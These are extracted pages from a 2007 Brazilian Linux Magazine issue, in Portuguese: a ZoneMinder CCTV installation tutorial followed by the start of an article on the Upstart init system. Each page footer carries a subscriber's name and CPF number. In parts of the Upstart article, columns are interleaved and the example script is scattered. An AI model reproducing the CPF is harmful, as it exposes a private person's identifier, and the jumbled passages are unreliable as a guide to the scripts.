vigilância de redes é um assunto bastante enfatizado mundo afora. De fato, é importantíssimo manter a rede de uma empresa a salvo de invasores virtuais. No entanto, de nada vale toda essa segurança contra invasores cibernéticos quando as máquinas importantes da rede podem ser acessadas fisicamente por qualquer pessoa. É aí que entram os sistemas de controle de vigilância por câmeras. O ZoneMinder é um software que permite que se gerencie imagens de circuitos internos de câmeras via Web. Mostraremos neste artigo como instalar o ZoneMinder em um servidor Linux, utilizando placas de captura PICO2000, que em verdade são placas genéricas de captura de vídeo vendidas com o nome do sistema de vigilância proprietário que freqüentemente as utiliza. Disponível gratuitamente em [1], o ZoneMinder é um software GPL para gerenciamento de câmeras de vigilância pela Internet utilizando a interface Video4Linux, com funções DVR (Digital Video Recording). As imagens geradas são visualizáveis através de qualquer navegador web. Neste artigo, partiremos de uma distribuição Kurumin Linux, personalizaremos alguns arquivos e ajustaremos o sistema operacional, tornando-o apto a reconhecer o hardware utilizado e condizente com as necessidades de um servidor de vídeo. Os procedimentos aqui descritos levam em consideração placas de captura

de vídeo com o chipset mais comumente encontrado em território brasileiro (Conexant/Brooktree Bt848 ou Bt878); porém, podem ser utilizados outros chipsets. Cabe observar, a título de curiosidade, que o mesmo chipset pode ser encontrado em diferentes modelos de placas, o que significa que marcas distintas freqüentemente utilizam hardware equivalente. O driver encarregado do chipset em questão é o bttv, para o qual existe uma listagem pré-compilada de modelos compatíveis já testados no Linux, e que pode ser útil caso se queira verificar a possibilidade de utilização para uma determinada placa. Tal lista encontra-se no arquivo CARDLIST (ou CARDLIST.bttv) que acompanha o código-fonte do kernel, e o modelo que estiver listado nela será bem vindo ao sistema operacional, necessitando, em alguns casos, de pequenas alterações nos arquivos responsáveis pelos parâmetros que serão utilizados no carregamento do módulo. Isso tudo será visto em detalhes adiante.

Requisitos do sistema

Recomenda-se para os procedimentos aqui descritos ao menos 512 MB de memória RAM e um HD com capacidade de, no mínimo, 80 GB, pois a função DVR necessitará de espaço para alocar as imagens gravadas; quanto maior for esse espaço, mais tempo de gravação poderá ser armazenado.

ZoneMinder

Além das claras vantagens que sua licença aberta proporciona em termos de custo, confiabilidade, transparência e possibilidade de personalização, o ZoneMinder disponibiliza suas imagens para acesso através de navegadores comuns de Internet, um recurso ausente na alternativa proprietária. Com módulos escritos em Perl e C++, o software otimiza os recursos do sistema, de modo que, mesmo gerenciando diversas câmeras simultaneamente, não há sobrecarga de informação. Destaca-se também a possibilidade de disparar gravações somente quando movimentos forem detectados em áreas específicas do monitor. Imagine uma câmera filmando a entrada de sua empresa, incluindo a calçada, a porta e parte da rua ou avenida; pode-se dizer ao ZoneMinder para detectar movimentos apenas na região da porta e ignorar os movimentos captados na calçada e na rua. Isso permite iniciar gravações somente quando alguém passar pela porta, otimizando o uso do disco. Mais do que isso, é possível evitar a ativação da gravação por pequenos corpos, como cães e gatos, através do ajuste de sensibilidade. Dependendo do hardware, o ZoneMinder consegue gerenciar até 32 câmeras a 2 quadros por segundo, ou menos câmeras a taxas de atualização mais confortáveis. O processamento da captura ou do streaming sempre envolve ao menos um

65

Linux Magazine #29 | Abril de 2007

© Linux New Media do Brasil Editora Ltda. Este documento é para uso exclusivo de rodrigo (CPF/CNPJ: 01287440304).


SYSADMIN | ZoneMinder

dos seguintes formatos: MPEG, M-JPEG e JPEG. Enquanto o padrão MPEG agrega imagem de alta resolução a áudio multicanal, o ascendente M-JPEG ainda não possui definição formalizada, e dá margem a diversos algoritmos que montam vídeos formados por seqüências de arquivos JPEG. Ao passo que o MPEG possui imagens de boa qualidade às custas do desempenho do sistema, o M-JPEG oferece ganhos de desempenho com imagens de qualidade inferior.

Captura

O processo de captura depende do equipamento utilizado, mas também é influenciado por definições do administrador, tais como a palheta de cores e a freqüência de atualização. A aquisição de sinais de câmeras analógicas é realizada com placas voltadas para esse fim, geralmente providas de conectores BNC, que basicamente convertem um sinal analógico para digital; câmeras IP enviam sinais através da rede, e geralmente abusam da CPU, pois entregam suas informações ainda codificadas; e as câmeras USB - encaradas pela CPU como periféricas – entregam seus sinais como tal, conforme as especificações UVC do USB Implementers Forum.

Daemon zmc

O daemon para captura de imagens do ZoneMinder chama-se zmc, e trabalha em M-JPEG e JPEG, mas não realiza captura MPEG. Placas como a Hauppage PVR-250, que geram imagens em formato MPEG, não funcionarão com o ZoneMinder. Monitorado pelo script zmwatch.pl, o zmc tenta processar o maior número de quadros que o hardware permitir; entretanto, se recomenda que isso seja definido manualmente pelo administrador, sendo as taxas entre 5 e 10 fps as mais equilibradas entre conforto e consumo. As imagens capturadas podem ser descartadas ou arquivadas, o que permite que sejam conferidas posteriormente. Uma vez bem configurado quanto à detecção de movimentos, aconselha-se optar pelo arquivamento de todas as imagens capturadas para resguardar a segurança do local monitorado. Um furto percebido dias depois necessitará de imagens guardadas para ser desvendado. A execução do zmc por linha de comando, útil para testes, pode ser realizada para câmeras analógicas da seguinte forma: # zmc --device /dev/video0

Streaming

Enquanto os formatos MPEG e MJPEG oferecem ótima performance e são suportados “de fábrica” pelo ZoneMinder, o streaming MPEG necessita dos pacotes ffmpeg ou mpeg_encode. Mantidos atualmente pelos desenvolvedores do MPlayer, os pacotes ffmpeg são muito versáteis e freqüentemente utilizados em webcasts. Já o mpeg_encode faz uso de processamento paralelo, mas sua capacidade de compressão se limita ao MPEG-1, enquanto o ffmpeg tem as opções de MPEG-2 e MPEG-4.

Aplicação

No uso corporativo, o ZoneMinder pode utilizar, por exemplo, NTP para garantir precisão aos horários atribuídos a cada filmagem. Quanto à questão da segurança de rede, é possível usufruir de todas as vantagens que o software oferece, eliminando um sem-número de ameaças à rede corporativa, desde que o servidor seja colocado no interior de uma DMZ, com o proxy corretamente configurado. Assim, a visualização das câmeras pela Internet (fora da empresa) oferecerá poucos riscos à rede local, e eventuais ataques que venham a comprometer o servidor do ZoneMinder dificilmente conseguirão expor a rede principal. Além disso, recomenda-se o uso de SSL/TLS caso se queira ampliar a proteção das conexões entre os clientes (navegadores) e o ZoneMinder. Trata-se, portanto, de um software altamente capaz de lidar com as tarefas de um servidor profissional de CFTV, e potencialmente competitivo.

LAMP

A já notória tríade Apache, MySQL e PHP é responsável pela infra-estrutura do sistema. A interface em PHP oferece todo o controle sobre o sistema, permitindo ao usuário não apenas acompanhar imagens em tempo real, mas também definir todos os detalhes que devem disparar gravações e alarmes para cada câmera, recuperar e excluir filmagens anteriores armazenadas no servidor. Como a base do ZoneMinder é escrita em Perl e C++, a base de dados MySQL atua não apenas como um depósito de informações, mas também como intermediária entre a interface web e o software propriamente dito.

SMS

O ZoneMinder pode enviar mensagens SMS para celulares. Isso é muito útil para áreas que não devem ter movimento após um certo horário ou em determinados dias da semana. Considere um saguão monitorado, que supostamente deveria estar vazio após as 18 horas. Caso algo se mova por ali às 18:30, o sistema automaticamente envia uma notificação SMS ao responsável pela segurança, alertando sobre os movimentos detectados pela câmera.

Instalação do Linux

Em nossos testes, utilizamos a versão 6.0 do Kurumin Linux, derivada do Knoppix, com o kernel 2.6.14. O suporte ao sistema ACPI deve ser desabilitado na linha do kernel na configuração do gerenciador de inicialização, com a opção acpi=off. É importante ressaltar que o sistema de arquivos Ext3 possui algumas limitações importantes para o uso do ZoneMinder: ele não aceita números muito grandes de arquivos por diretório e não permite arquivos maiores que 2 GB. Recomendamos, portanto, outros sistemas de arquivos, como ReiserFS ou XFS.

Instalação da placa

Os chipsets suportados pelo sistema operacional Linux através do driver bttv são Bt848, Bt848A, Bt849, Bt878 e Bt879. Em nossos testes, utilizamos uma placa do tipo UCC4, CONEXANT FUSION 878A (chipset Bt878), cujo driver é carregado com o comando modprobe bttv card=N, onde N é o número do modelo da placa, de acordo com o arquivo CARDLIST ou CARDLIST.bttv. Por exemplo, para uma placa TView99

Figura 1 As placas mais comumente encontradas no mercado nacional seguem o padrão UCC4, permitindo a conexão de quatro câmeras.

66

http://www.linuxmagazine.com.br

© Linux New Media do Brasil Editora Ltda. Este documento é para uso exclusivo de rodrigo (CPF/CNPJ: 01287440304).


ZoneMinder | SYSADMIN

CPH063, o comando seria modprobe bttv card=38. O comando dmesg |grep -i bttv pode ser usado para verificar o carregamento correto do módulo. Em seguida, deve-se carregar o módulo do sintonizador (tuner) utilizado na placa, com modprobe tuner type=N. Novamente, o valor de N deve ser obtido no arquivo CARDLIST ou CARDLIST. bttv . No entanto, como a maioria dos manuais não informa esse parâmetro, é recomendável testar todos individualmente até que a imagem seja exibida corretamente. Os modelos mais comuns no Brasil baseiam-se em sintonizadores Philips. Há no mercado diversas placas denominadas PICO2000, que na realidade são aquelas que seguem o padrão UCC4, com quatro entradas de vídeo e nenhuma entrada de áudio (figura 1). Os quatro canais de entrada encaminham informações para um único chip Bt878, o qual, através do módulo bttv, torna tais informações compreensíveis ao Linux. O afunilamento de dados no chip cria a necessidade de, junto ao ZoneMinder, definir configurações iguais para todas as câmeras ligadas a uma mesma placa, ainda que seus recursos sejam distintos. Para carregar o módulo e controlar duas placas UCC4, usa-se o comando: modprobe bttv card=77,77 tuner=-1,-1 ➥ radio=0,0 triton1=0 vsfx=0 autoload=0

Instalação dos pré-requisitos Antes de iniciar, é importante salientar que a equipe do ZoneMinder presta suporte gratuito por e-mail, e também há documentação no wiki[2] e no fórum[3] do projeto. O ZoneMinder pode estar ausente nos repositórios da sua distribuição. No caso das distribuições derivadas do Debian, deve-se acrescentar alguns mirrors ao arquivo /etc/apt/sources.list: deb http://www.spic.net/zoneminder/debian/ ./ deb-src http://www.spic.net/zoneminder/ ➥debian/ ./ deb http://packages.dotdeb.org stable all deb-src http://packages.dotdeb.org stable all

Após um apt-get update, já será possível instalar o programa com: apt-get install zm

Servidor LAMP

Para acomodarmos o software ao servidor web Apache, primeiro precisamos instalar os pacotes necessários: # apt-get install apache php5 php5-mysql ➥ libapache-mod-php5 mysql-server mysql➥ client

Também são necessários pacotes de desenvolvimento (gcc, g++, libmysqlclient14dev, libmysqlclient15-dev, libmysql++2c2a e libmysql++dev). Para aumentar a segurança do sistema através de SSL, ainda são necessários os pacotes libssl-dev e libssl0.9.8-dbg. Para permitir o tratamento adequado das imagens JPEG, deve-se instalar ainda os pacotes imgsizer, libjpeg62-dev e libjpeg-progs. O ZoneMinder utiliza vários módulos Perl, o que torna interessante acrescentar inclusive pacotes de documentação para futura referência, eventual desenvolvimento e personalização do sistema: # apt-get install perl-byacc perl-debug ➥ perl-doc perl-ifeffit libclass-date-perl ➥ libdate-manip-perl libpcre3-dev libpcre➥ ocaml-dev pcregrep

São necessários também alguns pacotes do Video4Linux: camserv, gstreamer0.8misc, kdetv e kmplayer. Outras ferramentas de manipulação gráfica que podem ser utilizadas são dcraw, groff, imgvtopgm, netpbm, libnetpbm10-dev, tex4ht-common, tex4ht-tth, x-face-el e xpaint. O streaming MPEG só é possível com a instalação de mais alguns pacotes: # apt-get install ffmpeg ffmpeg2theora ➥ avifile-mjpeg-plugin gstreamer0.10-ffmpeg ➥ gstreamer0.8-ffmpeg libavcodec-dev ➥ libavformat-dev libpostproc0d libpostproc➥ dev moc-ffmpeg-plugin

Após o reinício do Apache (com o comando /etc/init.d/apache2 restart).

Ajustes no sistema operacional A memória compartilhada diz respeito a um bloco de memória que pode ser utilizado por mais de um processo, e tem como objetivo facilitar a troca de informações entre processos concomitantes. O ZoneMinder freqüentemente precisa alocar quantidades altas de memória compartilhada, pois trabalha com streaming de imagens. Pode-se evitar que o Kurumin Linux tenha problemas com isso, aumentando a disponibilidade da

mesma através da edição simples da linha shmmax no arquivo /etc/sysctl.conf, a qual dita o tamanho máximo que pode ser ocupado pela memória compartilhada: kernel.shmmax = 134217728

Compilação do ZoneMinder Após realizar o download da última versão disponível em www.zoneminder.com, entre na pasta principal e execute o script configure com os seguintes parâmetros: # ./configure --with-webdir=/var/www/zm –➥with-cgidir=/var/www/cgi-bin –-with➥webuser=www-data –-with-webgroup=www-data

O diretório /var/www/zm/ será usado para a instalação dos arquivos PHP, e /var/www/ cgi-bin/ receberá os arquivos CGI. Os valores padrão usados na instalação são: name: ‘zm’ user: ‘zmuser’ database host: ‘localhost’ password: ’zmpass’

Eventuais patches podem ser baixados em [4]. Por exemplo, para baixar e instalar o patch para uso do ffmpeg para streaming, usa-se os comandos: # wget http://www.zoneminder.com/ ➥ downloads/zm-1.22.2-ffmpeg.patch #patch -p0 < zm-1.22.2-ffmpeg.patch #make #make

Em seguida, para criarmos as entradas necessárias no MySQL, usamos os comandos: # mysql mysql < db/zm_create.sql mysql mysql

O seguinte comando autoriza o usuário zmuser a manipular informações do banco de dados, e em seguida sai do MySQL e o reinicia: > grant select,insert,update,delete on ➥ zm.* to ‘zmuser’@localhost identified by ➥‘zmpass’; > quit # mysqladmin reload <-u root -p>

Após esses passos, já podemos instalar o ZoneMinder, com:

67

Linux Magazine #29 | Abril de 2007

© Linux New Media do Brasil Editora Ltda. Este documento é para uso exclusivo de rodrigo (CPF/CNPJ: 01287440304).


SYSADMIN | ZoneMinder

# make install

O arquivo de configuração zm.conf será copiado para o diretório de configurações do sistema (nesse caso, /usr/local/etc/).

Testes preliminares

É aconselhável testar o Apache e o PHP criando o arquivo /var/www/testphp.php e acessando-o com um navegador, a partir de outra máquina. Seu conteúdo pode ser simplesmente:

se beneficiem desse recurso, é necessário que possuam o ambiente Java em suas máquinas, ou seja, o lado cliente precisará do JRE instalado para que o navegador funcione adequadamente. Entrando no diretório criado na etapa da descompactação, deve-se copiar o arquivo cambozola.jar para o diretório de instalação do ZoneMinder, e em seguida modificar os atributos do arquivo copiado: # cp cambozola.jar /var/www/zm/ # chown www-data.www-data /var/www/zm/ ➥cambozola.jar

<?php phpinfo(); ?>

Para acessar o ZoneMinder pelo navegador, use o endereço http://endereco. IP.do.servidor/testphp.php. Caso a tabela de informações do PHP seja mostrada, então tanto o Apache quanto o PHP estão corretamente instalados e configurados.

Iniciando

O ZoneMinder pode ser iniciado, parado e reiniciado com os comandos usuais para serviços: ➧ zmpkg.pl start ➧ zmpkg.pl stop ➧ zmpkg.pl restart

Navegadores

A opção por streamings JPEG acarreta ganhos substanciais de desempenho. Apesar de não possuir um padrão definido, esse formato desponta como concorrente ao MPEG por facilitar a manipulação de quadros individualmente, já que cada quadro é uma imagem estática JPEG. O ambiente Windows® infelizmente não oferece um navegador web competente para lidar com streamings JPEG. Nesse cenário, surge o notável Cambozola[5]. Trata-se de um applet Java que funcionará bem, desde que o cliente possua o ambiente Java devidamente instalado. Entretanto, para que o cliente Cambozola funcione, é necessária sua instalação no servidor. Após obter o aplicativo para o servidor compactado em [5], é necessário descompactá-lo. ~$ wget http://www.charliemouse.com/code/ ➥cambozola/cambozola-latest.tar.gz ~$ tar xvfz cambozola-latest.tar.gz

O arquivo cambozola.jar deve ser colocado no diretório web especificado no comando ./configure. Para que os usuários

É importante habilitar a opção ZM_OPT_ CAMBOZOLA nas configurações do ZoneMinder. Além disso, ZM_CAN_STREAM deve ser configurada para auto e ZM_STREAM_METHOD para jpeg. Efetuadas essas modificações, é necessário reiniciar o sistema para que o Cambozola seja carregado. Feito isso, o ZoneMinder finalmente já está instalado. Já é possível apontar o navegador para http://ip_do_servidor/zm.php e desfrutar todas as funcionalidades oferecidas pela interface do programa.

Pós-instalação

Assim como em qualquer servidor, é fundamental configurar o BIOS da máquina para se certificar de que ela seja ligada novamente após uma eventual queda no fornecimento de energia à mesma. Além disso, no caso do ZoneMinder, também é importante desativar o gerenciamento de energia ACPI, pois ele pode prejudicar o desempenho do sistema (desligando os discos rígidos, por exemplo) ou até mesmo impedi-lo de funcionar, através do desligamento de uma ou mais câmeras.

Tratamento de imagens A análise que detecta movimentos é necessariamente realizada sobre bitmaps, que num primeiro momento são armazenados em memória compartilhada (ver arquivo zmtrigger.pl) para então serem gravados no disco como arquivos JPEG, utilizando a Libjpeg. Como o hardware de captura – etapa anterior ao software – entrega imagens no formato JPEG, o ZoneMinder realiza a delicada descompressão (envolvendo o risco de corromper arquivos), convertendoas para bitmap em um buffer da memória compartilhada, e em, seguida fazendo a análise e novamente transformando-as em JPEG para alocá-las em disco. Isso

prejudica substancialmente o desempenho do processo de análise. O ideal seria trabalhar com hardware que entregasse bitmaps, mas nesse caso o zmc (daemon de captura) não os aceitaria. Embora isso pareça paradoxal, essa é uma percepção enganada. Dada a seqüência acima, duas prováveis indagações são despertadas: por que não realizar a análise sobre JPEGs, ou por que não escrever o daemon zmc de modo que ele aceite bitmaps?

Compressão

A tão conhecida compressão de dados, processo de redução no tamanho das informações através de codificação, possui destacada importância em câmeras e placas de captura, pois influencia significativamente a eficiência da transmissão. Sendo a compressão JPEG rápida e muito mais agressiva à informação do que aquela utilizada em bitmaps, os dispositivos de captura para monitoramento digital, que trabalham com obtenção de imagens 24 horas por dia, freqüentemente optam pela primeira, visando ganhos de desempenho em comunicações e economia em armazenamento. Tal compressão, entretanto, é preterida quando se fala em telemedicina, atividade na qual a perda de dados na imagem seria absolutamente comprometedora. É justamente o risco de se perder informações vitais que faz o ZoneMinder, já na fase de análise para detecção de movimentos (daemon zma), preferir manipular bitmaps, apesar de bitmaps não serem definidos como um padrão ISO, em contraste com os formatos JPEG e MPEG. Ironicamente, a tecnologia de geração de imagens caminhou no sentido do uso do JPEG, e o gasto de CPU causado pelo caráter circular de compressão nos processos de captura e análise, portanto, é inevitável em aplicações de vigilância digital. ■

Mais Informações [1] ZoneMinder: http://www.zoneminder.com/ [2] Wiki ZoneMinder: http://www.zoneminder.com/wiki/ [3] Fórum ZoneMinder: http://www.zoneminder.com/ [4] Patches do ZoneMinder: http://www.zoneminder.com/ wiki/index.php/Patches [5] Cambozola: http://www.charliemouse.com/ code/cambozola/

68

http://www.linuxmagazine.com.br

© Linux New Media do Brasil Editora Ltda. Este documento é para uso exclusivo de rodrigo (CPF/CNPJ: 01287440304).


SYSADMIN

O Upstart substitui o Sys V Init e acelera a inicialização do sistema

Inicialização em um pulo O lento processo de inicialização do Linux vem incomodando os usuários há alguns anos. Agora, o projeto Upstart oferece uma nova abordagem para essa questão. por Nico Dietrich e Dirk von Suchodoletz

A

história do Linux inclui diversas tentativas de solucionar o problema do longo processo de inicialização do sistema. Isso não é uma surpresa, pois longas maratonas como essa incomodam todos os usuários. O projeto de inicialização legado do Unix System V foi revolucionário ao ser lançado, mas se tornou um peso para as distribuições modernas. Embora tenham surgido vários truques para acelerar esse procedimento, a maioria se mostrou impraticável, e grande parte dos carregadores de serviço “turbinados” criados pelos gurus não são utilizáveis por usuários normais. Uma nova ferramenta, o Upstart [1], apresenta um daemon de init genérico que impulsiona vários desenvolvimentos em sistemas Linux modernos. O Upstart, com suas raízes no Unix, evita de forma inteligente longas esperas, o que reduz o intervalo de inicialização a um mínimo. A longo prazo, o plano é substituir os serviços genéricos de segundo plano, como os daemons at, cron e outros, pelo Upstart. O Ubuntu 6.10 (Edgy Eft) demonstra os primeiros efeitos desse promissor software.

Tudo começa com o init A maioria dos sistemas relacionados ao Unix compartilha o conceito do Init. O processo chama o kernel e atribui o ID 1 de processo do kernel. Essa seqüência está gravada no próprio kernel Linux (/usr/src/linux/init/main.c). O Init é incumbido de iniciar todos os outros processos do espaço do usuário e, conseqüentemente, iniciar a máquina (quadro 1). O processo e seus scripts auxiliares carregam módulos do kernel, veririficam e montam os sistemas de arquivos, estabelecem conexões de rede, iniciam servidores e chamam o gerenciador gráfico de login. O Init deve iniciar os serviços em uma ordem que faça sentido. Por exemplo, é errado configurar a hora do sistema consultando um servidor de hora na rede até que a máquina tenha, de fato, acesso à rede. Para isso, o Init primeiro tem que inicializar o hardware de rede e estabelecer ao menos uma conexão para acesso externo. O número de serviços e agentes de segundo plano cresceu ao longo

dos anos, o que bagunçou o processo de inicialização. Por outro lado, o uso em desktops, como é típico no caso do Ubuntu, necessita de um sistema de configuração dinâmico. Dispositivos móveis também dificultam consideravelmente a vida do Sys V Init. Máquinas em movimento demandam uma abordagem ad hoc para estabelecer conexões de rede, assim como uma forma de configurar o hardware dinamicamente.

Figura 1 Esse inittab típico define os runlevels de 0 a 6.

69

Linux Magazine #29 | Abril de 2007

© Linux New Media do Brasil Editora Ltda. Este documento é para uso exclusivo de rodrigo (CPF/CNPJ: 01287440304).


SYSADMIN | Upstart

Quadro 1: Sys V Init

Exemplo 1: Definições de tarefas

As primeiras versões do Unix usavam um script simples de shell para configurar a máquina e executar serviços. O projeto por trás do /etc/rc da família BSD, por exemplo, é convincentemente simples, porém possui uma importante desvantagem: Integrar softwares de terceiros, ou extensões personalizadas, significava modificar o script de shell. Infelizmente, alterar esse código é muito perigoso – um simples erro poderia deixar o sistema em estado inutilizável.

01 02 03 04 05 06 07 08 09 10 11 12 13 14 15 16 17 18 19 20 21

Em muitos casos, é necessário mais de um comando para iniciar um serviço, com os detalhes variando de acordo com o ambiente. Por exemplo, o servidor DHCP ISC pode ser configurado para escutar em interfaces ethernet específicas, em vez de todas as portas. Para eliminar a necessidade de os administradores modificarem o script de inicialização com esse fim, os daemons costumam trazer arquivos de configuração que analisam o script. Isso permite que o administrador atualize o script de inicialização sem pôr em perigo a configuração local. O Sys V Init usa uma abordagem bem mais flexível, e também mais complexa, introduzindo o conceito de runlevels que definem estados específicos da máquina, com base nos processos em execução neles. No total, oito runlevels são possíveis, mas não obrigatórios, em qualquer sistema. Três deles desempenham tarefas definidas: Halt (0), Modo single user (1) e Reboot (6).

# /etc/event.d/rc2 # Script do Upstart de compatibilidade com o runlevel 2 # Esta tarefa roda os antigos scripts SysV start on runlevel-2 stop stop stop stop

on on on on

shutdown runlevel-3 runlevel-4 runlevel-5

script set $(runlevel --set 2 || true) if [ “$1” != “unknown” ]; then PREVLEVEL=$1 RUNLEVEL=$2 export PREVLEVEL RUNLEVEL fi exec /etc/init.d/rc 2 end script

O arquivo /etc/inittab especifica quais runlevels existem e define aquele em que o sistema entrará ao iniciar (figura 1).

Nem todos os processos e serviços limitam-se O projeto do Sys V presume que o sistema usará um pequeno númea iniciar ou desligar uma ro de estados definidos, tais como ausência de rede, presença de rede, máquina. Por exemplo, presença do X11 e assim por diante. Os administradores podem alhá alguns serviços espeternar para outro runlevel com o comando init runlevel. ciais, como o cron e o Outra vantagem dessa abordagem está nos scripts separados para cada serdaemon at, que iniciam viço ou tarefa de configuração. Por exemplo, chamar /etc/init.d/dhcpd outros processos num restart permite que se reinicie o servidor DHCP sem afetar outros servimomento específico. ços. A idéia de usar um conjunto de links simbólicos para determinar o escoEles não são vinculados po e a ordem dos scripts usados em cada runlevel também é interessante. ao sistema de runlevels de forma alguma, apesar de Para lidar com essas questões específi- possuírem uma lógica subjacente. Esse é cas, alguns programadores desenvolveram outro alvo de mudanças do Upstart [3]. diversas ferramentas: o acpid e o apmd para gerenciamento de energia, o gerenciador de dispositivos do HAL para montagem dinâmica de dispositivos, e o Resource Manager Antes de decidirem desenvolver um novo (gerenciador de recursos) para a atribuição sistema, os programadores do Ubundinâmica de permissões de dispositivos para tu primeiro investigaram alternativas usuários de interfaces gráficas. Cada um comtemporâneas do System V [2]. Nedesses sistemas implementa sua própria ló- nhum dos projetos que viram satisfez gica de configuração, e os administradores suas expectativas ou estava disponível têm que se familiarizar com essas lógicas sob uma licença aceitável. para conseguir executar determinada tarefa Quando começaram a pensar em no momento certo. um novo projeto, precisaram optar entre uma abordagem orientada ao alvo ou ao resultado, em relação à inicialização do sistema. A escolha orientada ao alvo significaria definir os serviços que deveriam estar iniciados ao final da seqüência de inicialização (KDM, daemon SSH etc.). Nesse caso, seria necessário investigar cada serviço e determinar de quais outros serviços ele depende. Baseado nessas dependências, o sistema de inicialização deveria deduzir uma seqüência de inicialização sensata. Essa é exatamente Figura 2 O Edgy Eft armazena os arquivos que definem as a abordagem empregada pelo Gentoo tarefas de eventos típicos do inittab legado em Linux, com seu sistema depend (quadro /etc/event.d. 2); o Suse também segue esse princípio

Problemas de projeto

com uma versão modificada do Sys V Init (quadro 3). No outro canto do ringue, havia os eventos. Em vez de formular dependências, que um script provavelmente precisaria tratar durante a inicialização do sistema, um sistema baseado em eventos não executaria um script até que um conjunto específico de pré-condições fossem satisfeitas. Por exemplo, não faria sentido chamar um cliente NFS até que a infraestrutura para isso estivesse disponível. O sistema que o Ubuntu escolheu também aceita condições mais complexas, tais como “configuração de rede completada”, “Apache rodando” ou (futuramente) “Disco USB conectado”.

Horizonte de eventos

Eventos são, basicamente, cadeias de caracteres. Os desenvolvedores do Upstart os dividem em três classes: ➧ Eventos marginais simples, como “o sistema está sendo inicializado” ou “usuário pressionou um botão”. ➧ Eventos de nível possuem um parâmetro adicional, como o status da interface de rede. Os serviços e tarefas podem ser executados tanto para eventos de nível quanto no momento em que um parâmetro atingir um valor específico. ➧ Eventos temporais ocorrem após um intervalo específico ou em um dado momento. Os desenvolvedores mantiveram o mandamento do Código Aberto: liberar logo, liberar com freqüência. Assim, o código foi lançado ao público em um estágio bem inicial, e os auto-confiantes desenvolvedores apresentaram um sistema em funcionamen-

70

http://www.linuxmagazine.com.br

© Linux New Media do Brasil Editora Ltda. Este documento é para uso exclusivo de rodrigo (CPF/CNPJ: 01287440304).


Upstart | SYSADMIN

Exemplo 2: Controle de serviços 01 02 03 04 05 06 07 08 09 10

root@EdgyEft:~# start simple-server simple-server (start) running, process 6507 active root@EdgyEft:~# stop simple-server simple-server (stop) running, process 6507 killed root@EdgyEft:~# status simple-server simple-server (stop) waiting root@EdgyEft:~# start simple-server simple-server (start) running, process 6517 active root@EdgyEft:~# status simple-server simple-server (start) running, process 6517 active

Quadro 2: Gentoo Como uma das distribuições baseadas no Kernel Linux mais recentes, o Gentoo resolveu o problema da organização de scripts de runlevel de uma forma especial. Ele não utiliza scripts de Bash simples, mas um interpretador separado: /sbin/runscript. Um exemplo de estrutura típica é esse: #!/sbin/runscript opts=”depend start stop restart” depend() { # Dependencias e condicoes } start() { # Comandos para iniciar servicos, # incluindo preparativos } stop() { # Comandos para parar servicos, # e acoes de limpeza } restart() { # Reiniciar como servico }

O texto após opts lista todas as funções fornecidas pelo script de runlevel. Se for necessário acrescentar suas próprias funções, basta adicioná-las à lista e criar um bloco de função com o mesmo nome, no próprio script. Enquanto as seções start, stop e restart mantêm o projeto tradicional, coisas mais interessantes acontecem em depend. Um serviço depende de outros serviços ou configurações preparatórias por um lado; mas, por outro, ele pode fornecer funções requeridas por outros serviços: ➧ need serviço: Depende do serviço. ➧ use serviço: Usa o serviço. ➧ provide funcionalidade: Fornece uma funcionalidade específica. ➧ before serviço: Deve ser iniciado antes de outro serviço.

planos de usar outros programas, como o Udev e os daemons ACPI e APM, como fontes de eventos.

Estado atual

A versão atual do Ubuntu tem inicialização bastante rápida, embora não se veja o que acontece por baixo dos panos na configuração padrão, pois a tela de bootsplash esconde as informações. Apesar de os usuários normais não se queixarem disso, leva algum tempo para os administradores se habituarem. Mesmo que se elimine o splash colorido (apagando o termo splash da linha de comando do kernel no Grub), não haverá muitas mensagens. Se for interessante ver mais, podese apenas apagar a entrada quiet. Num primeiro olhar, as mudanças sob o capô ainda estão ocultas. Os comandos man init e man telinit informam que o sistema de runlevels tem um novo mecanismo. Outro indicativo da mudança é a ausência do arquivo /etc/inittab. Os scripts auxiliares em /etc/init.d/ também existem, ainda, pois o Ubuntu utiliza o Upstart em modo de compatibilidade. O plano no médio prazo é permitir que o /etc/event.d/ cuide das definições de ta-

➧ after serviço: Deve iniciar após o serviço especificado. O Gentoo também suporta serviços virtuais, como net, pois há vários tipos de rede (ethernet, modem, WLAN). Isso também se aplica a servidores de email (mta). O script de inicialização pode até mesmo determinar dinamicamente as dependências, como mostra o /etc/init.d/syslog-ng: case $(sed ‘s/#.*//’ /etc/syslog-ng/syslog-ng.conf) in <b>source*tcp</b>|<b>source*udp</b>|<b>destination*tcp</b>|<b>destination*udp</b>) ➥need net ;; esac Contanto que a mudança não entre em conflito com dependências existentes, o administrador tem a possibilidade de alterar a ordem na qual os serviços são iniciados, usando before ou after.

to, rodando o Edgy Eft, para demonstrar o ponto que já haviam atingido. Seu objetivo é coletar o máximo possível de retorno de outros desenvolvedores que trabalhem em outras distribuições Linux. Entretanto, isso também significa que as especificações podem mudar nos

próximos meses. Os exemplos descritos neste artigo referem-se à versão 0.3, do início de dezembro de 2006. Essa versão substituiu o processo de init já existente. No entanto, nem todos os scripts de inicialização foram modificados para usar o mecanismo de eventos, e há

Figura 3 O comando initctl list fornece um panorama do estado do sistema.

71

Linux Magazine #29 | Abril de 2007

© Linux New Media do Brasil Editora Ltda. Este documento é para uso exclusivo de rodrigo (CPF/CNPJ: 01287440304).


SYSADMIN | Upstart

refas, o que se resume a arquivos simples e não executáveis, como o do exemplo 1. O exemplo usa o caminho fácil, simplesmente chamando os velhos scripts de inicialização do runlevel 2 (linha 20). Como se vê na linha 5, queremos que o script rode sempre que o evento runlevel-2 ocorrer. Ele termina se os eventos shutdown ou runlevel-3 a runlevel-5 ocorrerem (linhas 7 a 10). No futuro, uma semântica mais complexa suportará condições com operadores lógicos, e será capaz de passar parâmetros a scripts de eventos, caso seja necessário. Esses arquivos cumprem o mesmo papel das entradas no antigo /etc/inittab. É por isso que o Edgy Eft possui tanto o rc2 quanto os arquivos mostrados no alto da figura 2.

Tarefas compatíveis com o Upstart Há duas formas de definir tarefas. O método simples usa a abordagem exec /caminho/do/programa -O --parâmetro_opcional. Isso funciona exatamente como

na shell. O Upstart na realidade usa uma shell para lidar com aspas duplas e simples, além de $. Se a definição da tarefa contiver mais do que uma simples linha de comando, o script de shell pode residir entre os termos script e end script (exemplo 1, linhas 12 a 21). Existem duas variações desse tema de scripts: start script e stop script. O start script faz o que o serviço necessita, como a criação de diretórios ou a verificação de privilégios de acesso. O stop script limpa tudo após o término do serviço.

Auto-executável

